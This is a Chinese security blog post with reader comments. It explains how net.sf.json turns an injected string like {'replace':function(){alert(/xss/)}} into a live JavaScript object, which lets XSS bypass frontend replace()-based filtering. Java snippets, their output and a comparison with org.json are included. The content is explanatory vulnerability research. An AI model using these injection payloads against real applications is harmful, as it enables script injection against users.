测试用的是net.sf.json.JSONObject,大家也可以去试试其他JSONObject。
JSONObject json = null; json = new JSONObject(); json.put("code", 200); json.put("info", "tester"); json.put("msg", "success"); System.out.println(json); // 输出:{"code":200,"info":"tester","msg":"success"}
在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。
如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?
json = new JSONObject(); json.put("code", 200); json.put("info", "{'replace':function(){alert(/xss/)}}"); json.put("msg", "success"); System.out.println(json); // 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}
JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。
可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}
NOTE:这种方式在jQuery中行不通,jQuery会对json串的格式做检查,一般的ajax,还有jsonp可能会存在这种xss问题。
相关吐槽:
hehe 2013-06-21 1楼
这属于json hijack吗
hehe 2013-06-21
@hehe 我理解是转换对象的时候自定义的replace方法(xss)hijack了原有replace方法,是这个意思?
door2guest (2级) 2013-06-21
@hehe 可以这么理解。 这里重点是可以控制输出json的结构。
园长MM (1级) 2013-06-21 2楼
这跟用JSONOBJECT没什么关系,明显后端提供的数据有问题
door2guest (2级) 2013-06-22
@园长MM 文章说的就是后端输出json导致的问题,可以控制info改变json的结构。
园长MM (1级) 2013-06-22
@door2guest 昨晚睡的代码没贴上,debug了下其实是直接用object put’会有问题,在转换的时候JsonObject抛了一个JsonException异常,也就是说转换后的json代码是有问题的。把实现方式改成Map<String,Object> 然后再put、然后再fromObject是没问题的。
天气有点热 (1级) 2013-06-22 3楼
net.sf.json代码片段:
import net.sf.json.JSONObject; public class Test { public static void main(String[] args) { JSONObject json = new JSONObject(); json.put(“key”, “{‘replace’:function(){alert(/xss/)}}”); System.out.println(json); System.out.println(((JSONObject)json.get(“key”)).get(“replace”)); } }
org.json代码片段:
import org.json.JSONException; import org.json.JSONObject; public class Test { public static void main(String[] args) throws JSONException { JSONObject json = new JSONObject(); json.put(“key”, “{‘replace’:function(){alert(/xss/)}}”); System.out.println(json); System.out.println(((JSONObject)json.get(“key”)).get(“replace”)); } }
使用net.sf.json输出结果是:
{"key":{"replace":function(){ alert(/xss/) }}} function(){ alert(/xss/) }
这里net.sf.json的value实际是一个JSONObject对象,所以还可以调用注入value中JSONObject对象,这是net.sf.json正常的嵌套功能,但是它不符合js json的标准
使用org.json输出结果是:
{"key":"{'replace':function(){alert(/xss/)}}"} Exception in thread "main" java.lang.ClassCastException: java.lang.String cannot be cast to org.json.JSONObject at Test.main(Test.java:20)
org.json是符合js json标准的,它的value就是个String,cast成JSONObject就报异常了.
其实就是个net.sf.json的json与js json输出标准不一样造成的,从而可以控制输出端的内容,通过构造在前端做某些js函数操作时,其内容会被当成js语句块执行,就是上面的xss了
那为什么不用org.json,要用net.sf.json了?因为net.sf.json更为强大(比如:多层嵌套(类似迭代器),javabean转换等)
天气有点热 (1级) 2013-06-22
@天气有点热 编辑器这么坑爹,第一个
怎么就匹配最后一个[/code]了,不是应该匹配最近的一个
吗?
door2guest (2级) 2013-06-22
@天气有点热 总结的非常好